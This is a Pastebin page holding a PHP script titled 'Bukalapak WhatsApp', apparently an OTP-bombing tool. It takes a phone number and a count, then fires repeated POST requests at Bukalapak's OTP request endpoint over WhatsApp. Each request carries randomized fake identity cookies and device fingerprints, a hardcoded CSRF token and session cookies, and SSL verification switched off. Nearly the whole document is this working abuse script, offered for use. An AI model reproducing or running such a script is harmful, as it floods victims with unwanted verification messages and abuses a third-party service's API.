Advertisement
AbdulMuttaqin

Bukalapak WhatsApp

Jan 14th, 2019
942
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.46 KB | None | 0 0
  1. <form action="" method="post">
  2.  
  3.  
  4.  
  5. <input type="text" name="nomer" placeholder="nomor" />
  6.  
  7.  
  8.  
  9. <input type="text" name="jumlah" placeholder="Last Name" />
  10.  
  11.  
  12.  
  13. <input type="submit" name="submit" />
  14.  
  15. </form>
  16. <?php
  17. if(isset($_POST['submit'])) {
  18.  
  19.     $nomer = $_POST['nomer'];
  20.          $jumlah = $_POST['jumlah'];
  21.  
  22. echo "Recode By : Firzii G4nz\n\n";
  23. if(strlen($nomer)==11){
  24.     $nomer = str_replace("0","62".$nomer);
  25. }elseif(strlen($nomer)>12){
  26.     $nomer = str_replace("62","0",$nomer);
  27. }
  28.  
  29.     // Now you can do whatever with this variable.
  30. }
  31. for($a=0;$a<$jumlah;$a++) {
  32.     $rand1 = md5(rand(12345678,98765432));
  33.     $rand2 = md5(rand(12345678,98765432));
  34.     $rand = array($rand1,$rand2);
  35.     $rand3 = md5($rand[rand(1,2)]);
  36.     $config['headers'] = explode("\n", "Host: m.bukalapak.com
  37. Connection: keep-alive
  38. Content-Length: 134
  39. Origin: https://m.bukalapak.com
  40. X-CSRF-Token: uYUfi93g92mZboBVB4UMwYInorBNOgyYEAbPUTikHht+xseF8BFUgg9qSgQWA9MRy7eL8G/SnbYUGg0JRM1fjw==
  41. User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
  42. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  43. Accept: */*
  44. X-Requested-With: XMLHttpRequest
  45. Save-Data: on
  46. Referer: https://m.bukalapak.com/register?from=home_mobile
  47. Accept-Encoding: gzip, deflate, br
  48. Accept-Language: en-US,en;q=0.9,id;q=0.8
  49. Cookie: identity=".$rand1."; browser_id=".$rand2."; _ga=GA1.2.1024758930.1531960985; _vwo_uuid_v2=DE8E70E7E9A8960F05F20FE0ACE87643B|378e4a2f30c36053c1cb833e89ecbc2e; _gid=GA1.2.622427606.1533988422; scs=%7B%22t%22%3A1%7D; spUID=15339884253603c43b2de12.c5b45553; session_id=e95e7511997432af179935abfce90320; __auc=3eed305416528d5f584187b45b2; G_ENABLED_IDPS=google; track_register=true; affiliate_landing_visit=true; mp_51467a440ff602e0c13d513c36387ea8_mixpanel=%7B%22distinct_id%22%3A%20%22164affd88ae1d-0791dbbd558a18-1f20130c-38400-164affd88aff4%22%2C%22utm_source%22%3A%20%22hasoffers-1851%22%2C%22utm_medium%22%3A%20%22affiliate%22%2C%22utm_campaign%22%3A%20%2215%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ins-gaSSId=cdd66ffd-18ce-a176-a3c3-26f0ac9ec000_1534027025; lskjfewjrh34ghj23brjh234=elBsSkNBb3VKS3hzZSttTnNKTm5VNk1pWmtzV1A1YldKRm1majAzRFdsSUJtcDJJV0psL0pnOFlBamtJU1NBa1Y2czlQdjZrNlFURDNiRmZqQmNRRXRyeWRTbGV5QUdpQnZjV3JocEc3ak9QeHpWSlpRNTE4eFgzR2FieDVnc2dWaUVoZzVzMEJlMVZwM2NKWk1LaXVwQTZuOXBVR01TUUJ4ejc4MW5MTU5taGYwZ2M0bFdwM05KYy9IcTh3bThsd3dzbSt4bHd4WG9NSklrcHJtT0dHUURURVQ5YVoyb0hLQ3dyUC9NZ2V6UUNFYmVGbE84REtqOHZlKzBZUGtiRS0tV3pMamNPNDhKT1FoZ202Q1BkNUJ5dz09--5a445aefe0c06b736c22e9f359ee3b7273058175; insdrSV=32; _td=7e03facb-a77c-4ce7-8b83-2427781c78c7");
  50.     global $config;
  51.     $ar = http_build_query(array(
  52.                 'feature' => 'phone_registration',
  53.                 'feature_tag' => '',
  54.                 'manual_phone' => $nomer,
  55.                 'device_fingerprint' => $rand3,
  56.                 'channel' => 'WhatsApp'
  57.                              )
  58.                            );
  59.     $ch = curl_init();
  60.     curl_setopt($ch, CURLOPT_URL, "https://m.bukalapak.com/trusted_devices/otp_request");
  61.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  62.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  63.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  64.     curl_setopt($ch, CURLOPT_HEADER, false);
  65.     curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']);
  66.     curl_setopt($ch, CURLOPT_POST, 1);
  67.     curl_setopt($ch, CURLOPT_POSTFIELDS, $ar);
  68.     $asw = curl_exec($ch);
  69.     curl_close($ch);
  70.     print $a.$nomer." [Sending]\n";
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement